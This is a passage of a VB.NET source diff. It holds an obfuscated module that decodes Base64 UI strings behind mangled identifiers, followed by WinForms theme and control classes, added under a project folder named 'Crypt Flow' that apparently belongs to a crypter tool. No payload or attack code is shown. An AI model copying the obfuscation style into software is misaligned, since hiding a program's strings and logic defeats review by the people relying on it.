+"QnV0dG9uNw==","RG93bmxvYWQgTm93","TWljcm9zb2Z0IFNhbnMgU2VyaWY=", _ +"TGFiZWwxNg==","UGxlYXNlIFdhaXQ=","TGFiZWwxNQ==", _ +"VmVyc2lvbiBGb3VuZDo=","VGV4dEJveDg=","VGV4dEJveDc=", _ +"QW4gdXBkYXRlIHdhcyBmb3VuZC4gSWYgeW91IHdhbnQgdG8gYmUgYWJsZSB0byB1c2UgdGhpcyBzb2Z0d2FyZSwgeW91IHdpbGwgaGF2ZSB0","byBkb3dubG9hZCBpdC4gWW91IGNhbiBhbHdheXMgZG93bmxvYWQgaXQgbGF0ZXIu","TG9naW5fcGFu", _ +"TG9naW4=","QnV0dG9uMTE=","TWFuYWdlIEFjY291bnQ=", _ +"QnV0dG9uMQ==","VG9vbFN0cmlwUHJvZ3Jlc3NCYXIx","RnV0dXJlUHJvZ3Jlc3NCYXIx", _ +"VG9vbFN0cmlwU3RhdHVzTGFiZWwz","Li4uLg==","VGV4dEJveDk=", _ +"Q2hlY2tCb3gx","UmVtZW1iZXIgbWU=","TGFiZWwy", _ +"TGFiZWwx","VGV4dEJveDI=","VGV4dEJveDE=", _ +"RnV0dXJlVGhlbWUx","U2VwYSBBdXRoIDo6IExvZ2lu","U2VwYQ==", _ +"Rm9ybTE="}) +Private Function ÎÌÌ(ByVal ÔÕÖ As String()) As String() +Dim ËÈË As New System.Text.UTF8Encoding +Dim ÄÃÁ As New System.Collections.Generic.List(Of String) +For ÂàAs Integer = (349 >> 144) To ÔÕÖ.Length - (40 >> 325) +ÄÃÁ.Add(ËÈË.GetString(Convert.FromBase64String(ÔÕÖ(ÂÃÂ)))) +Next +Return ÄÃÁ.ToArray +End Function +End Module + + +'Creator: Aeonhack +'Date: 7/14/2010 +'Site: www.elitevs.net +'Version: 1.0 + +Class FutureTheme + Inherits Control + + Protected Overrides Sub OnHandleCreated(ByVal e As EventArgs) + Dock = DockStyle.Fill + If TypeOf Parent Is Form Then + With DirectCast(Parent, Form) + .FormBorderStyle = 0 + .BackColor = C1 + .ForeColor = Color.FromArgb(224, 224, 224) + End With + End If + MyBase.OnHandleCreated(e) + End Sub + Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs) + If New Rectangle(Parent.Location.X, Parent.Location.Y, Width, 22).IntersectsWith(New Rectangle(MousePosition.X, MousePosition.Y, 1, 1)) Then + Capture = False + Dim M As Message = Message.Create(Parent.Handle, 161, New IntPtr(2), IntPtr.Zero) + DefWndProc(M) + End If + MyBase.OnMouseDown(e) + End Sub + + Dim G As Graphics, B As Bitmap, R1, R2 As Rectangle + Dim C1, C2, C3 As Color, P1, P2, P3 As Pen, B1 As SolidBrush, B2, B3 As LinearGradientBrush + + Sub New() + + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint, True) + C1 = Color.FromArgb(34, 34, 34) 'Background + C2 = Color.FromArgb(49, 49, 49) 'Highlight + C3 = Color.FromArgb(22, 22, 22) 'Shadow + P1 = New Pen(Color.Black) 'Border + P2 = New Pen(C1) + P3 = New Pen(C2) + B1 = New SolidBrush(C2) + Font = New Font("Verdana", 7.0F, FontStyle.Bold) + + End Sub + + Protected Overrides Sub OnSizeChanged(ByVal e As EventArgs) + If Height > 0 Then + R1 = New Rectangle(0, 2, Width, 18) + R2 = New Rectangle(0, 21, Width, 10) + B2 = New LinearGradientBrush(R1, C1, C3, 90.0F) + B3 = New LinearGradientBrush(R2, Color.FromArgb(70, 0, 0, 0), Color.Transparent, 90.0F) + Invalidate() + End If + MyBase.OnSizeChanged(e) + End Sub + + Protected Overrides Sub OnPaintBackground(ByVal pevent As PaintEventArgs) + End Sub + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + B = New Bitmap(Width, Height) + G = Graphics.FromImage(B) + + G.Clear(C1) + + For I As Integer = 0 To Width + 17 Step 4 + G.DrawLine(P1, I, 21, I - 17, 37) + G.DrawLine(P1, I - 1, 21, I - 16, 37) + Next + G.FillRectangle(B3, R2) + + G.FillRectangle(B2, R1) + G.DrawString(Text, Font, B1, 5, 5) + + G.DrawRectangle(P2, 1, 1, Width - 3, 19) + G.DrawRectangle(P3, 1, 39, Width - 3, Height - 41) + + G.DrawRectangle(P1, 0, 0, Width - 1, Height - 1) + G.DrawLine(P1, 0, 21, Width, 21) + G.DrawLine(P1, 0, 38, Width, 38) + + e.Graphics.DrawImage(B, 0, 0) + G.Dispose() + B.Dispose() + End Sub + +End Class +Class FutureButton + Inherits Control + + Dim B As Bitmap, G As Graphics, R1 As Rectangle + Dim C1, C2, C3, C4 As Color, P1, P2, P3, P4 As Pen, B1, B2, B5 As Brush, B3, B4 As LinearGradientBrush + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint, True) + + C1 = Color.FromArgb(34, 34, 34) 'Background + C2 = Color.FromArgb(49, 49, 49) 'Highlight + C3 = Color.FromArgb(39, 39, 39) 'Lesser Highlight + C4 = Color.FromArgb(60, Color.Black) + P1 = New Pen(Color.FromArgb(22, 22, 22)) 'Shadow + P2 = New Pen(Color.FromArgb(20, Color.White)) + P3 = New Pen(Color.FromArgb(10, Color.White)) + P4 = New Pen(Color.FromArgb(30, Color.Black)) + B1 = New SolidBrush(C1) + B2 = New SolidBrush(C3) + B5 = New SolidBrush(Color.FromArgb(224, 224, 224)) 'Text Color + Font = New Font("Verdana", 8.0F) + End Sub + + Private State As Integer + Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) + State = 0 + Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + State = 1 + Invalidate() + End Sub + Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) + State = 1 + Invalidate() + End Sub + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + State = 2 + Invalidate() + End Sub + + Protected Overrides Sub OnResize(ByVal e As EventArgs) + R1 = New Rectangle(2, 2, Width - 4, 4) + B3 = New LinearGradientBrush(ClientRectangle, C3, C2, 90.0F) + B4 = New LinearGradientBrush(R1, C4, Color.Transparent, 90.0F) + Invalidate() + End Sub + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + B = New Bitmap(Width, Height) + G = Graphics.FromImage(B) + + G.FillRectangle(B3, ClientRectangle) + + Select Case State + Case 0 'Up + G.FillRectangle(B1, 1, 1, Width - 2, Height - 2) + G.DrawLine(P2, 2, 2, Width - 3, 2) + G.DrawLine(P3, 2, Height - 3, Width - 3, Height - 3) + Case 1 'Over + G.FillRectangle(B2, 1, 1, Width - 2, Height - 2) + G.DrawLine(P2, 2, 2, Width - 3, 2) + G.DrawLine(P3, 2, Height - 3, Width - 3, Height - 3) + Case 2 'Down + G.FillRectangle(B2, 1, 1, Width - 2, Height - 2) + G.FillRectangle(B4, R1) + G.DrawLine(P4, 2, 2, 2, Height - 3) + End Select + + Dim S As SizeF = G.MeasureString(Text, Font) + G.DrawString(Text, Font, B5, Convert.ToInt32(Width / 2 - S.Width / 2), Convert.ToInt32(Height / 2 - S.Height / 2)) + + G.DrawRectangle(P1, 1, 1, Width - 3, Height - 3) + + e.Graphics.DrawImage(B, 0, 0) + G.Dispose() + B.Dispose() + End Sub + + Protected Overrides Sub OnPaintBackground(ByVal e As PaintEventArgs) + End Sub + +End Class +Class FutureProgressBar + Inherits Control + +#Region " Properties " + Private _Maximum As Double = 100 + Public Property Maximum() As Double + Get + Return _Maximum + End Get + Set(ByVal v As Double) + _Maximum = v + Progress = _Current / v * 100 + Invalidate() + End Set + End Property + Private _Current As Double + Public Property Current() As Double + Get + Return _Current + End Get + Set(ByVal v As Double) + _Current = v + Progress = v / _Maximum * 100 + Invalidate() + End Set + End Property + Private _Progress As Integer + Public Property Progress() As Double + Get + Return _Progress + End Get + Set(ByVal v As Double) + If v < 0 Then v = 0 Else If v > 100 Then v = 100 + _Progress = Convert.ToInt32(v) + _Current = v * 0.01 * _Maximum + If Width > 0 Then UpdateProgress() + Invalidate() + End Set + End Property + + Dim C2 As Color = Color.FromArgb(6, 96, 149) 'Dark Color + Public Property Color1() As Color + Get + Return C2 + End Get + Set(ByVal v As Color) + C2 = v + UpdateColors() + Invalidate() + End Set + End Property + Dim C3 As Color = Color.FromArgb(70, 167, 220) 'Light color + Public Property Color2() As Color + Get + Return C3 + End Get + Set(ByVal v As Color) + C3 = v + UpdateColors() + Invalidate() + End Set + End Property + +#End Region + + Protected Overrides Sub OnPaintBackground(ByVal pevent As PaintEventArgs) + End Sub + + Dim G As Graphics, B As Bitmap, R1, R2 As Rectangle, X As ColorBlend + Dim C1 As Color, P1, P2, P3 As Pen, B1, B2 As LinearGradientBrush, B3 As SolidBrush + Sub New() + + C1 = Color.FromArgb(22, 22, 22) 'Background + P1 = New Pen(Color.FromArgb(70, Color.White), 2) + P2 = New Pen(C2) + P3 = New Pen(Color.FromArgb(49, 49, 49)) 'Highlight + B3 = New SolidBrush(Color.FromArgb(100, Color.White)) + X = New ColorBlend(4) + X.Colors = {C2, C3, C3, C2} + X.Positions = {0.0F, 0.1F, 0.9F, 1.0F} + R2 = New Rectangle(2, 2, 2, 2) + B2 = New LinearGradientBrush(R2, Nothing, Nothing, 180.0F) + B2.InterpolationColors = X + + End Sub + + Sub UpdateColors() + P2.Color = C2 + X.Colors = {C2, C3, C3, C2} + B2.InterpolationColors = X + End Sub + + Protected Overrides Sub OnSizeChanged(ByVal e As System.EventArgs) + R1 = New Rectangle(0, 1, Width, 4) + B1 = New LinearGradientBrush(R1, Color.FromArgb(60, Color.Black), Color.Transparent, 90.0F) + UpdateProgress() + Invalidate() + MyBase.OnSizeChanged(e) + End Sub + + Sub UpdateProgress() + If _Progress = 0 Then Return + R2 = New Rectangle(2, 2, Convert.ToInt32((Width - 4) * (_Progress * 0.01)), Height - 4) + B2 = New LinearGradientBrush(R2, Nothing, Nothing, 180.0F) + B2.InterpolationColors = X + End Sub + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + B = New Bitmap(Width, Height) + G = Graphics.FromImage(B) + + G.Clear(C1) + + G.FillRectangle(B1, R1) + + If _Progress > 0 Then + G.FillRectangle(B2, R2) + + G.FillRectangle(B3, 2, 3, R2.Width, 4) + G.DrawRectangle(P1, 4, 4, R2.Width - 4, Height - 8) + + G.DrawRectangle(P2, 2, 2, R2.Width - 1, Height - 5) + End If + + G.DrawRectangle(P3, 0, 0, Width - 1, Height - 1) + + e.Graphics.DrawImage(B, 0, 0) + G.Dispose() + B.Dispose() + End Sub + +End Class +Class FutureSeperator + Inherits Control + + Private _Orientation As Orientation + Public Property Orientation() As Orientation + Get + Return _Orientation + End Get + Set(ByVal v As Orientation) + _Orientation = v + UpdateOffset() + Invalidate() + End Set + End Property + + Dim G As Graphics, B As Bitmap, I As Integer + Dim C1 As Color, P1, P2 As Pen + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint, True) + C1 = Color.FromArgb(34, 34, 34) 'Background + P1 = New Pen(Color.FromArgb(22, 22, 22)) 'Shadow + P2 = New Pen(Color.FromArgb(49, 49, 49)) 'Highlight + End Sub + + Protected Overrides Sub OnSizeChanged(ByVal e As EventArgs) + UpdateOffset() + MyBase.OnSizeChanged(e) + End Sub + + Sub UpdateOffset() + I = Convert.ToInt32(If(_Orientation = 0, Height / 2 - 1, Width / 2 - 1)) + End Sub + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + B = New Bitmap(Width, Height) + G = Graphics.FromImage(B) + + G.Clear(C1) + + If _Orientation = 0 Then + G.DrawLine(P1, 0, I, Width, I) + G.DrawLine(P2, 0, I + 1, Width, I + 1) + Else + G.DrawLine(P2, I, 0, I, Height) + G.DrawLine(P1, I + 1, 0, I + 1, Height) + End If + + e.Graphics.DrawImage(B, 0, 0) + G.Dispose() + B.Dispose() + End Sub + + Protected Overrides Sub OnPaintBackground(ByVal pevent As PaintEventArgs) + End Sub + +End Class + +'Creator: Aeonhack +'Date: 4/23/2011 +'Site: www.elitevs.net +'Version: 1.4 +'Note: This code only contains part (33%) of the full ThemeBase. + +MustInherit Class ThemeContainerControl + Inherits ContainerControl + +#Region " Initialization " + + Protected G As Graphics, B As Bitmap + Sub New() + SetStyle(DirectCast(139270, ControlStyles), True) + B = New Bitmap(1, 1) + G = Graphics.FromImage(B) + End Sub + + Sub AllowTransparent() + SetStyle(ControlStyles.Opaque, False) + SetStyle(ControlStyles.SupportsTransparentBackColor, True) + End Sub + +#End Region + +#Region " Convienence " + + MustOverride Sub PaintHook() + Protected NotOverridable Overrides Sub OnPaint(ByVal e As PaintEventArgs) + If Width = 0 OrElse Height = 0 Then Return + PaintHook() + e.Graphics.DrawImage(B, 0, 0) + End Sub + + Protected Overrides Sub OnSizeChanged(ByVal e As EventArgs) + If Not Width = 0 AndAlso Not Height = 0 Then + B = New Bitmap(Width, Height) + G = Graphics.FromImage(B) + Invalidate() + End If + MyBase.OnSizeChanged(e) + End Sub + + Private _NoRounding As Boolean + Property NoRounding() As Boolean + Get + Return _NoRounding + End Get + Set(ByVal v As Boolean) + _NoRounding = v + Invalidate() + End Set + End Property + + Private _Rectangle As Rectangle + Private _Gradient As LinearGradientBrush + + Protected Sub DrawCorners(ByVal c As Color, ByVal rect As Rectangle) + If _NoRounding Then Return + B.SetPixel(rect.X, rect.Y, c) + B.SetPixel(rect.X + (rect.Width - 1), rect.Y, c) + B.SetPixel(rect.X, rect.Y + (rect.Height - 1), c) + B.SetPixel(rect.X + (rect.Width - 1), rect.Y + (rect.Height - 1), c) + End Sub + + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal p2 As Pen, ByVal rect As Rectangle) + G.DrawRectangle(p1, rect.X, rect.Y, rect.Width - 1, rect.Height - 1) + G.DrawRectangle(p2, rect.X + 1, rect.Y + 1, rect.Width - 3, rect.Height - 3) + End Sub + + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + _Rectangle = New Rectangle(x, y, width, height) + _Gradient = New LinearGradientBrush(_Rectangle, c1, c2, angle) + G.FillRectangle(_Gradient, _Rectangle) + End Sub +#End Region + +End Class + +Class GroupBox + Inherits ThemeContainerControl + + Sub New() + AllowTransparent() + _Border1 = New Pen(Color.FromArgb(90, Color.Black)) + _Border2 = New Pen(Color.FromArgb(14, Color.White)) + End Sub + + Private _Border1 As Pen + Property Border1() As Color + Get + Return _Border1.Color + End Get + Set(ByVal v As Color) + _Border1 = New Pen(v) + Invalidate() + End Set + End Property + + Private _Border2 As Pen + Property Border2() As Color + Get + Return _Border2.Color + End Get + Set(ByVal v As Color) + _Border2 = New Pen(v) + Invalidate() + End Set + End Property + + Private _FillColor As Color = Color.Transparent + Property FillColor() As Color + Get + Return _FillColor + End Get + Set(ByVal v As Color) + _FillColor = v + Invalidate() + End Set + End Property + + Overrides Sub PaintHook() + G.Clear(_FillColor) + DrawBorders(_Border1, _Border2, ClientRectangle) + DrawCorners(BackColor, ClientRectangle) + End Sub + +End Class \ No newline at end of file diff --git a/scode (Crypt Flow/Crypt Flow/Theme.vb b/scode (Crypt Flow/Crypt Flow/Theme.vb new file mode 100644 index 0000000..1ab63c7 --- /dev/null +++ b/scode (Crypt Flow/Crypt Flow/Theme.vb @@ -0,0 +1,1119 @@ +Imports System, System.Collections +Imports System.Drawing, System.Drawing.Drawing2D +Imports System.ComponentModel, System.Windows.Forms +Imports System.Runtime.InteropServices + +'------------------ +'Creator: aeonhack +'Site: elitevs.net +'Created: 9/23/2011 +'Changed: 9/23/2011 +'Version: 1.0.0 +'Theme Base: 1.5.2 +'------------------ +Class FlowTheme + Inherits ThemeContainer152 + + Sub New() + MoveHeight = 24 + BackColor = Color.FromArgb(35, 35, 35) + TransparencyKey = Color.Fuchsia + + SetColor("Sides", 40, 40, 40) + SetColor("Gradient", 18, 18, 18) + SetColor("Text", 0, 132, 255) + SetColor("Border1", 40, 40, 40) + SetColor("Border2", 22, 22, 22) + SetColor("Border3", 65, 65, 65) + SetColor("Border4", Color.Black) + SetColor("Hatch1", 39, 39, 39) + SetColor("Hatch2", 35, 35, 35) + SetColor("Hatch3", 29, 29, 29) + SetColor("Hatch4", 26, 26, 26) + SetColor("Shade1", 50, 7, 7, 7) + SetColor("Shade2", Color.Transparent) + End Sub + + Private C1, C2 As Color + Private B1 As SolidBrush + Private P1, P2, P3, P4 As Pen + + Protected Overrides Sub ColorHook() + C1 = GetColor("Sides") + C2 = GetColor("Gradient") + + B1 = New SolidBrush(GetColor("Text")) + + P1 = New Pen(GetColor("Border1")) + P2 = New Pen(GetColor("Border2")) + P3 = New Pen(GetColor("Border3")) + P4 = New Pen(GetColor("Border4")) + + CreateTile() + CreateShade() + + BackColor = GetColor("Hatch2") + End Sub + + Private RT1 As Rectangle + + Protected Overrides Sub PaintHook() + G.Clear(C1) + + DrawGradient(C2, C1, 0, 0, Width, 24) + DrawText(B1, HorizontalAlignment.Left, 8, 0) + + RT1 = New Rectangle(8, 24, Width - 16, Height - 32) + G.FillRectangle(Tile, RT1) + + For I As Integer = 0 To Shade.Length - 1 + DrawBorders(Shade(I), RT1, I) + Next + + RT1 = New Rectangle(8, 24, Width - 16, Height - 32) + DrawBorders(P1, RT1, 1) + DrawBorders(P2, RT1) + DrawCorners(C1, RT1) + + DrawBorders(P3, 1) + DrawBorders(P4) + + DrawCorners(TransparencyKey) + End Sub + + + Private Tile As TextureBrush + Private TileData As Byte() = Convert.FromBase64String("AgIBAQEBAwMBAQEBAAABAQEBAQEBAgIBAQEBAwMBAQEBAAAB") + Private Sub CreateTile() + Dim TileImage As New Bitmap(6, 6) + Dim TileColors As Color() = New Color() {GetColor("Hatch1"), GetColor("Hatch2"), GetColor("Hatch3"), GetColor("Hatch4")} + + For I As Integer = 0 To 35 + TileImage.SetPixel(I Mod 6, I \ 6, TileColors(TileData(I))) + Next + + Tile = New TextureBrush(TileImage) + TileImage.Dispose() + End Sub + + Private Shade As Pen() + Private Sub CreateShade() + If Shade IsNot Nothing Then + For I As Integer = 0 To Shade.Length - 1 + Shade(I).Dispose() + Next + End If + + Dim ShadeImage As New Bitmap(1, 20) + Dim ShadeGraphics As Graphics = Graphics.FromImage(ShadeImage) + + Dim ShadeBounds As New Rectangle(0, 0, 1, 20) + Dim Gradient As New LinearGradientBrush(ShadeBounds, GetColor("Shade1"), GetColor("Shade2"), 90.0F) + + Shade = New Pen(19) {} + ShadeGraphics.FillRectangle(Gradient, ShadeBounds) + + For I As Integer = 0 To Shade.Length - 1 + Shade(I) = New Pen(ShadeImage.GetPixel(0, I)) + Next + + Gradient.Dispose() + ShadeGraphics.Dispose() + ShadeImage.Dispose() + End Sub + +End Class + +'------------------ +'Creator: aeonhack +'Site: elitevs.net +'Created: 9/23/2011 +'Changed: 9/23/2011 +'Version: 1.0.0 +'Theme Base: 1.5.2 +'------------------ +Class FlowButton + Inherits ThemeControl152 + + Sub New() + SetColor("DownGradient1", 24, 24, 24) + SetColor("DownGradient2", 38, 38, 38) + SetColor("NoneGradient1", 38, 38, 38) + SetColor("NoneGradient2", 24, 24, 24) + SetColor("Text", 255, 255, 255) + SetColor("Border1", 22, 22, 22) + SetColor("Border2A", 60, 60, 60) + SetColor("Border2B", 36, 36, 36) + End Sub + + Private C1, C2, C3, C4, C5, C6 As Color + Private B1 As SolidBrush + Private B2 As LinearGradientBrush + Private P1, P2 As Pen + + Protected Overrides Sub ColorHook() + C1 = GetColor("DownGradient1") + C2 = GetColor("DownGradient2") + C3 = GetColor("NoneGradient1") + C4 = GetColor("NoneGradient2") + C5 = GetColor("Border2A") + C6 = GetColor("Border2B") + + B1 = New SolidBrush(GetColor("Text")) + + P1 = New Pen(GetColor("Border1")) + End Sub + + Protected Overrides Sub PaintHook() + If State = MouseState.Down Then + DrawGradient(C1, C2, ClientRectangle, 90.0F) + Else + DrawGradient(C3, C4, ClientRectangle, 90.0F) + End If + + DrawText(B1, HorizontalAlignment.Center, 0, 0) + + B2 = New LinearGradientBrush(ClientRectangle, C5, C6, 90.0F) + P2 = New Pen(B2) + + DrawBorders(P1) + DrawBorders(P2, 1) + End Sub +End Class + +Public Class Flowtabcontrol + Inherits TabControl + + Private tabcontrol As TabControl + Private _HeaderWidth As Integer + Private _HeaderHeight As Integer + + Private _HeaderAlignment As System.Drawing.ContentAlignment + Private _HeaderPadding As System.Windows.Forms.Padding + Private _HeaderFont As Font + Private _HeaderBackColor As Color = Color.FromArgb(35, 35, 35) + Private _HeaderBackBrush As SolidBrush + Private _HeaderBorderColor As Color = Color.DarkGray + Private _HeaderBackPen As Pen + Private _HeaderForeColor As Color + Private _HeaderForeBrush As SolidBrush + Private _HeaderSelectedBackColor As Color + Private _HeaderSelectedBackBrush As SolidBrush + Private _HeaderSelectedForeColor As Color + Private _HeaderSelectedForeBrush As Brush + + Private _BackColor As Color + Private _BackBrush As System.Drawing.SolidBrush + + +#Region " Header Properties " + _ + Public Property HeaderWidth() As Integer + Get + Return Me._HeaderWidth + End Get + Set(ByVal value As Integer) + Me._HeaderWidth = value + Me.ItemSize = New Size(Me.ItemSize.Width, value) + End Set + End Property + + _ + Public Property HeaderHeight() As Integer + Get + Return Me._HeaderHeight + End Get + Set(ByVal value As Integer) + Me._HeaderHeight = value + Me.ItemSize = New Size(value, Me.ItemSize.Height) + End Set + End Property + + _ + Public Property HeaderAlignment() As System.Drawing.ContentAlignment + Get + Return Me._HeaderAlignment + End Get + Set(ByVal value As System.Drawing.ContentAlignment) + Me._HeaderAlignment = value + Me.Invalidate() + End Set + End Property + + _ + Public Property HeaderPadding() As System.Windows.Forms.Padding + Get + Return Me._HeaderPadding + End Get + Set(ByVal value As System.Windows.Forms.Padding) + Me._HeaderPadding = value + Me.Invalidate() + End Set + End Property + + _ + Public Property HeaderBorderColor() As Color + Get + Return Me._HeaderBorderColor + End Get + Set(ByVal value As Color) + If Not value = Me._HeaderBorderColor Then + Me._HeaderBorderColor = value + If Me._HeaderBackPen IsNot Nothing Then + Me._HeaderBackPen.Dispose() + Me._HeaderBackPen = Nothing + End If + Me.Invalidate() + End If + End Set + End Property + + _ + Public Property HeaderBackColor() As Color + Get + Return Me._HeaderBackColor + End Get + Set(ByVal value As Color) + If Not value = Me._HeaderBackColor Then + Me._HeaderBackColor = value + If Me._HeaderBackBrush IsNot Nothing Then + Me._HeaderBackBrush.Dispose() + Me._HeaderBackBrush = Nothing + End If + Me.Invalidate() + End If + End Set + End Property + + Private ReadOnly Property HeaderBackBrush() As SolidBrush + Get + If Me._HeaderBackBrush Is Nothing Then + Me._HeaderBackBrush = New SolidBrush(Me.HeaderBackColor) + End If + Return Me._HeaderBackBrush + End Get + End Property + + Private ReadOnly Property HeaderPen() As Pen + Get + If Me._HeaderBackPen Is Nothing Then + Me._HeaderBackPen = New Pen(Me.HeaderBorderColor) + End If + Return Me._HeaderBackPen + End Get + End Property + + _ + Public Property HeaderForeColor() As Color + Get + Return Me._HeaderForeColor + End Get + Set(ByVal value As Color) + If Not value = Me._HeaderForeColor Then + Me._HeaderForeColor = value + If Me._HeaderForeBrush IsNot Nothing Then + Me._HeaderForeBrush.Dispose() + Me._HeaderForeBrush = Nothing + End If + Me.Invalidate() + End If + End Set + End Property + + Private ReadOnly Property HeaderForeBrush() As SolidBrush + Get + If Me._HeaderForeBrush Is Nothing Then + Me._HeaderForeBrush = New SolidBrush(Me.HeaderForeColor) + End If + Return Me._HeaderForeBrush + End Get + End Property + + _ + Public Property HeaderSelectedBackColor() As Color + Get + Return Me._HeaderSelectedBackColor + End Get + Set(ByVal value As Color) + If Not value = Me._HeaderSelectedBackColor Then + Me._HeaderSelectedBackColor = value + If Me._HeaderSelectedBackBrush IsNot Nothing Then + Me._HeaderSelectedBackBrush.Dispose() + Me._HeaderSelectedBackBrush = Nothing + End If + Me.Invalidate() + End If + End Set + End Property + + Private ReadOnly Property HeaderSelectedBackBrush() As SolidBrush + Get + If Me._HeaderSelectedBackBrush Is Nothing Then + Me._HeaderSelectedBackBrush = New SolidBrush(Me.HeaderSelectedBackColor) + End If + Return Me._HeaderSelectedBackBrush + End Get + End Property + + _ + Public Property HeaderSelectedForeColor() As Color + Get + Return Me._HeaderSelectedForeColor + End Get + Set(ByVal value As Color) + If Not value = Me._HeaderSelectedBackColor Then + Me._HeaderSelectedForeColor = value + If Me._HeaderSelectedForeBrush IsNot Nothing Then + Me._HeaderSelectedForeBrush.Dispose() + Me._HeaderSelectedForeBrush = Nothing + End If + Me.Invalidate() + End If + End Set + End Property + + Private ReadOnly Property HeaderSelectedForeBrush() As SolidBrush + Get + If Me._HeaderSelectedForeBrush Is Nothing Then + Me._HeaderSelectedForeBrush = New SolidBrush(Me.HeaderSelectedForeColor) + End If + Return Me._HeaderSelectedForeBrush + End Get + End Property + + Public Property HeaderFont() As Font + Get + Return Me._HeaderFont + End Get + Set(ByVal value As Font) + Me._HeaderFont = value + Me.Invalidate() + End Set + End Property +#End Region + + _ + _ + Public Overrides Property BackColor() As Color + + Get + Return Me._BackColor + End Get + Set(ByVal value As Color) + If Not Me._BackColor = value Then + Me._BackColor = value + If Me._BackBrush IsNot Nothing Then + Me._BackBrush.Dispose() + Me._BackBrush = Nothing + End If + Me.Invalidate() + End If + End Set + + End Property + + Private ReadOnly Property BackBrush() As SolidBrush + Get + If Me._BackBrush Is Nothing Then + Me._BackBrush = New SolidBrush(Me.BackColor) + End If + Return Me._BackBrush + End Get + End Property + + Public Sub New() + Me._HeaderWidth = 100 + Me._HeaderHeight = 32 + Me._HeaderAlignment = ContentAlignment.MiddleLeft + Me._HeaderPadding = New Padding(3) + Me._BackColor = Color.FromArgb(35, 35, 35) + Me._HeaderBorderColor = Color.FromArgb(30, 30, 30) + Me._HeaderFont = Me.Font + Me._HeaderForeColor = Color.FromArgb(0, 132, 255) + Me._HeaderBackColor = Color.FromArgb(32, 32, 32) + Me._HeaderSelectedBackColor = Color.FromArgb(35, 35, 35) + Me._HeaderSelectedForeColor = Color.White + + Me.DrawMode = TabDrawMode.OwnerDrawFixed + Me.SizeMode = TabSizeMode.Fixed + Me.Alignment = TabAlignment.Left + Me.BackColor = Color.FromArgb(35, 35, 35) + 'For Each tp As TabPage In Me.tabcontrol.TabPages + ' tp.BackColor = Color.FromArgb(35, 35, 35) + 'Next + Me.ItemSize = New Size(Me.HeaderHeight, Me.HeaderWidth) + + Me.SetStyle(ControlStyles.AllPaintingInWmPaint, True) + Me.SetStyle(ControlStyles.UserPaint, True) + + End Sub + + Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs) + Dim g As Graphics + Dim rt3 As New Rectangle + g = e.Graphics + + g.FillRectangle(Me.BackBrush, e.ClipRectangle) ' background + + For i As Integer = 0 To Me.TabPages.Count - 1 + Call Me.DrawTabButton(g, i) + Call Me.DrawTabText(g, i) + Next + End Sub + + Private Sub DrawTabButton(ByVal g As Graphics, ByVal TabPageIndex As Integer) + Dim r As Rectangle + ' get the tab rectangle + r = Me.GetTabRect(TabPageIndex) + ' increase its width we dont want the background in between + r.Width = r.Width + 2 + ' if first tab page + If TabPageIndex = 0 Then + ' reduce its height and move it a little bit lower + ' since in tab control first tab button is displayed a little + ' bit heigher + r.Height = r.Height - 2 + r.Y = r.Y + 2 + End If + ' if given tab button is selected + If Me.SelectedIndex = TabPageIndex Then + ' use selected properties + g.FillRectangle(Me.HeaderSelectedBackBrush, r) + ' if currently focused then draw focus rectangle + If Me.Focused Then + System.Windows.Forms.ControlPaint.DrawFocusRectangle(g, New Rectangle(r.Left + 2, r.Top + 2, r.Width - 4, r.Height - 5)) + End If + Else ' else (not the selected tab page) + g.FillRectangle(Me.HeaderBackBrush, r) + End If + + ' if first tab button + If TabPageIndex = 0 Then + ' draw a line on top + g.DrawLine(Me.HeaderPen, r.Left, r.Top, r.Right, r.Top) + End If + ' line at left + g.DrawLine(Me.HeaderPen, r.Left, r.Top, r.Left, r.Bottom - 1) + ' line at bottom + g.DrawLine(Me.HeaderPen, r.Left, r.Bottom - 1, r.Right, r.Bottom - 1) + ' no line at right since we want to give an effect of + ' pages + End Sub + + Private Sub DrawTabText(ByVal g As Graphics, ByVal TabPageIndex As Integer) + Dim iX As Integer + Dim iY As Integer + Dim sText As String + Dim sizeText As SizeF + Dim rectTab As Rectangle + + ' get tab button rectangle + rectTab = Me.GetTabRect(TabPageIndex) + ' get text + sText = Me.TabPages(TabPageIndex).Text + ' measure the size of text + sizeText = g.MeasureString(sText, Me.HeaderFont) + + ' check text alignment + Select Case Me.HeaderAlignment + Case ContentAlignment.MiddleLeft, ContentAlignment.BottomLeft, ContentAlignment.TopLeft + iX = rectTab.Left + Me.HeaderPadding.Left + Case ContentAlignment.MiddleRight, ContentAlignment.BottomRight, ContentAlignment.TopRight + iX = rectTab.Right - sizeText.Width - Me.HeaderPadding.Right + Case ContentAlignment.MiddleCenter, ContentAlignment.BottomCenter, ContentAlignment.TopCenter + iX = rectTab.Left + (rectTab.Width - Me.HeaderPadding.Left - Me.HeaderPadding.Right - sizeText.Width) / 2 + End Select + + Select Case Me.HeaderAlignment + Case ContentAlignment.TopLeft, ContentAlignment.TopCenter, ContentAlignment.TopRight + iY = rectTab.Top + Me.HeaderPadding.Top + Case ContentAlignment.BottomLeft, ContentAlignment.BottomCenter, ContentAlignment.BottomRight + iY = rectTab.Bottom - sizeText.Height - Me.HeaderPadding.Bottom + Case ContentAlignment.MiddleCenter, ContentAlignment.MiddleLeft, ContentAlignment.MiddleRight + iY = rectTab.Top + (rectTab.Height - Me.HeaderPadding.Top - sizeText.Height) / 2 + End Select + + ' if selected tab button + If Me.SelectedIndex = TabPageIndex Then + 